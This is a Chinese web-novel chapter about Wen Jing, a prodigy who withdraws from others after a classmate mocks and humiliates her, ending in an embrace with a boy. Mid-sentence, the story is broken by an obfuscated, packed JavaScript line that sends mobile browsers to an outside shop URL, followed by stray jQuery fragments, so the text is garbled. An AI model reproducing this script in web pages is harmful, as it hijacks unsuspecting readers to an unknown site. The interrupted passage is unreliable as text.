在“恒河猴母爱剥夺实验”中有两个代理母亲的笼子，一个是提供奶水但是铁丝制成的笼子，而另一个是没有食物的柔软绒布笼。


    实验中，幼猴除了饥饿时会去铁丝笼寻求食物，其余时间都依偎在绒布里。即使后来“柔软绒布”的身上被安装喷冷气和尖刺，靠近就会受伤，幼猴也不肯离开绒布的怀抱。


    *


    究竟是从什么时候开始，文菁患上了情感冷漠症呢？他人是不可信任的，任何感情都经不住试探与考验。这个概念是什么时候树立起来的呢？


    所有人都背过身去。


    离开吧。让她一个人，留她一个人站在原地就好了。


    文菁从小就受到很多的人的“喜欢”。她漂亮优秀天赋异禀，没有人不会被她吸引，被她吸引这件事也如人会吃饭喝水般理所当然。


    同时，她寡言少语的沉默外表为她增添不少神秘感，这样的人在学校里，与女神无异。


    “温晶，我喜欢你。”男孩笨拙告白，低着头递给她一封情书。


    这不是文菁第一次被人正面告白，但这是文菁第一次收下别人的情书。


    众目睽睽之下，男孩可见的皮肤鲜红如娜欧米玫瑰，文菁好心不愿让他丢脸，没有当众强硬拒绝，收下了那封带有笔墨痕迹的情书。


    男孩以为文菁是接受了他的告白。


    文菁在几番冥思苦想，该如何表明自己并不是答应做他女朋友的思考后，拆开了那封情书。


    情书第一行的两个字让文菁以为自己视觉出了问题，但现实是没有，一如她所见：


    “温晶：


    ……温晶……第一次见你的时候，我……后来我……请……我……我……温晶……真的。我……我……“


    通篇都是自我感情的叙述，信的字迹工整又潦草，不少处还带有涂改。不知是主人性格本如此，还是紧急赶工出来的。


    文菁为自己的苦恼感到荒诞可笑。她没有将信撕碎，反而平静地将信叠好，重新封回信封中。最后，情书如同崭新般被归还，文菁拒绝了对方。


    其实她很想问：“你真的喜欢我吗？如果真的喜欢我，那你为什么连我的名字也写不对呢？还是说，你根本就不知道我的名字是什么？或者你对我叫什么根本不感兴趣？”但直到她自己转身离去时，文菁也没有问，她以沉默封缄此事。


    初二时，少年班的名额在校内掀起一阵轰动。文菁当时所读的学校是名校的附中，少年班的人将跳过初三阶段直升高中部。


    本来每年这个时期大家都只是随便八卦一下就过去了。因为成绩不可能在一瞬间突飞猛进，所以被选中的人只要在年级排名上看就行，几乎就是那几个常见的名字，没有变动。


    而今年这本毫无疑问的话题中却突然出现了能拉满群众好奇心的人：文菁。她小学时早一年上学加跳级一年，年纪就已经同学都小了，现在还要少读一年初中！？很多人都猜测她会不会选择放弃这个资格，平凡地参加中考，而结果是，文菁没有这么做。这个平凡接受的行为又狂又傲，早慧少年自信的光芒宛如太阳般不可忽视，在这个热血沸腾的年纪，尤其还是在被优绩主义渗透的世界中，这讯息就如一粒火星跳进油锅里，如何不轰动？


    文菁这个名字成为了同学们的课后娱乐，无论她走到哪里，总有目光追随她而动。


    很多人因为不同的诱因，想和文菁成为“朋友”，而文菁最先感受到的就是同班同学的热烈邀约。


    “同学之间要互帮互助，不会的题，除了问我，大家也可以互相讨论。”老师在下课前这么说。


    无论哪张卷子里都没有文菁不会的题，理所应当的，她成了同学们狩猎的活靶子。


    “文菁帮我看看这个！”


    “也教教我这个！”


    “哇塞！还可以这样解！”


    “等等等等！你语速太快了。”


    “好厉害！但我怎么听不懂……”


    “……”


    因为老师那样的话，文菁也不好拒绝同学们的请求，她只好分出一部分时间来教向她请教的同学。


    而这还不是最累人的，最累人不是解题也不是教人解题，而是社交与沟通。有些时候，文菁会出现无法理解对方为什么不能理解这道题的情况。但还好，文菁只是个负责解答的角色，因为她的教学方式总是对方问，她再回答，所以出现这样的状况后她就会将对方推远，推到本应该去寻求解答的地方去。


    不过麻烦的是还有人邀请她周末和假期出去玩，并寻求她的联系方式。


    某一天，文菁不经扰，将联系方式给了一个同学。当天晚上，她的好友栏信息九十九加。后来，文菁才知道，这么多人加她是因为，有人拿她的联系方式挂在表白墙售卖。不过文菁对此倒是没什么意见，要到了好友，最后也要看她通不通过。


    真正让文菁产生变化的是一个女生的请求。只是一件小事。从前被指责太敏感太多心，文菁都没觉得有什么，但那一刻，她确信就是自己想的那样，并且她受不了那样。


    为此，她愿意绕开所有人。


    周五从早晨便开始下雨，天灰蒙蒙的，白炽灯从早自习开到放学。


    这周轮到她打扫卫生，恰好文菁也不想带太多东西在书包里，她就在教室里将作业做完了再走。等到文菁走出校门时，长长的校道连保安都不见，没有一个人。


    文菁掏出准备好的伞，撑开，抬脚欲走。


    “文菁！”一个甜美的女孩声线在她背后不远处响起。


    文菁回过头。


    女孩跑过来，神情可怜：“可不可以搭我一程，我的伞弄丢了，学校超市也关门了没伞卖。载我到附近的地铁站就行，很近的。”


    文菁点点头：“可以。”


    女孩是隔壁班的，她总来“串门”，文菁见过她，虽然不知道名字，但这种天气，即使是陌生人，她也没有拒绝为对方提供帮助的理由。


    天色晦暗，雷鸣阵阵。路灯全部熄灭的校道上，两人共一伞，不时肩碰肩。


    “我真没想到你会答应。”女孩朝着前方的空气说。


    “为什么？”文菁不解。


    女孩惊讶得差点摔进雨里，“我的天呐！你居然还回答我了！”


    文菁也没想到她反应这么大，惊讶之余觉得她可爱又亲切，忙伸手将她拉进伞里，使她免于落汤鸡的结局。


    “就是觉得你不会回答我这种凡人的无聊话。”女孩待在伞下，带着淡淡依赖感，解答了文菁的疑惑。


    文菁不知道如何续接这个话题，索性沉默。


    路上太黑了，女孩话很多，但没有很冒犯或是突兀的话从她嘴里吐露出来。也许是吊桥效应，出了校门，走向地铁站的时候，文菁开口了：“你要去的地铁站怎么走？”


    话说出口的一瞬间，文菁甚至有些窃喜，她觉得这是一个不错的开场白。亲切的同时又包含对


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16836476|180253||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    对方的信任，还带有足够的尊重，以及，她放低了自己的姿态。也许，交朋友并不是很麻烦的事。


    可她却没能立刻得到回答，空气在话音落下的下一秒凝固了。


    或明或暗的光线下，文菁看到对方一脸仿佛见鬼的表情，脑子里一根弦绷断了。


    她知道那个表情，那个眼神的意思。


    ——你居然问我？你连这也不知道吗？我不是说了是最近的地铁站吗？什么学神什么天才，连个话也听不明白，你也不过如此嘛。


    手，剧烈地颤抖起来。文菁只好用另一只手握住颤抖的撑伞的手。


    “最近的地铁站就可以。”女孩别过脸去，声线依旧，看不清表情。


    “好。”文菁没再说多余的话也没再做多余的事。


    到了地铁站。


    “谢谢你！”女孩展露笑颜，吐露的声线依旧上扬。


    “不客气。”文菁感觉好冷啊……


    隔天下午返校的时候，文菁发现全班都知道了她“不能认路”的事。


    从此，她再也不说多余的话，并深刻明白自己的境遇“不配交友”这件事。通往“天才”神坛的路是独木桥，他人崇拜的目光断掉所有向后的木桩，使行路者只能向前向上看，河流下满是审判的可怖的眼睛，转身就滑倒。崇拜的感情也不会长久，它将对方灌进石膏中，制成完美贵价的神明雕塑，只希望对方永远留存在自己的记忆和想象中。信徒向全世界宣告神明不可亵渎，到了最后，连神明自己也没有做出选择的权利。


    文菁很失望，但她并不是对那个女孩失望，她是对一切都感到失望，因为即使离开了那个女孩，这样的境遇她还是忍受了十几年，无处不在。也许明明可以，但却不选择常春藤，就是她反叛的第一步。可这种靠牺牲未来与毁灭自己寻求短暂的掌控感就能长久吗？他人都喜悦平和地寄居在躯体中，为什么偏偏她痛苦不得自由呢？


    “文菁！”


    讨厌。讨厌所有人的靠近。


    在《你看我一眼》这个小说里，文菁看见人生“付出真心，不仅不会有所结果，还会受伤”的现实。文菁非常非常非常害怕……你们不要再伤害我，为了不搁浅在沙滩上，为了不被捕食，我要把自己缩进我坚硬的贝壳里……当它处于深海或是陌生沙滩上时，它就又小心翼翼地将自己的壳开一条缝，想要呼吸，想要回归大海……


    “别走！”


    无法接受他人的靠近，却又总在暗暗期待，有人能给自己一个无需任何代价的拥抱。


    原来……只是想要一个拥抱。


    简单到……甚至可以说廉价，却如此难求。


    “求你……”


    ……随着那个声音的靠近，黑暗世界开始褪色。


    声音的主人越来越近，他穿着一件奶油黄半开领针织衫，领口是交错的咖色抽绳，锁骨在抽绳后若隐若现。


    “别不理我。”洋甘菊的香味扑面而来，将她笼罩。


    文菁挥出去的拳头与闻晓的胳膊交错，她的胳膊向上扬起滞留空中，身体却被拥得微向后倒。


    好温暖……他的脖颈曲折得几欲折断，头深深埋进她的颈窝，动物般贪婪地吸食她的气味，仿佛那是他的栖息之所，这是世上唯一能赐予他安宁的方式。


    在这样用力到难以呼吸的姿势中，文菁身体的颤抖渐渐止息。那个同样的位置，分不清是谁的心跳，那般响烈。


    抬起的胳膊缓缓下落。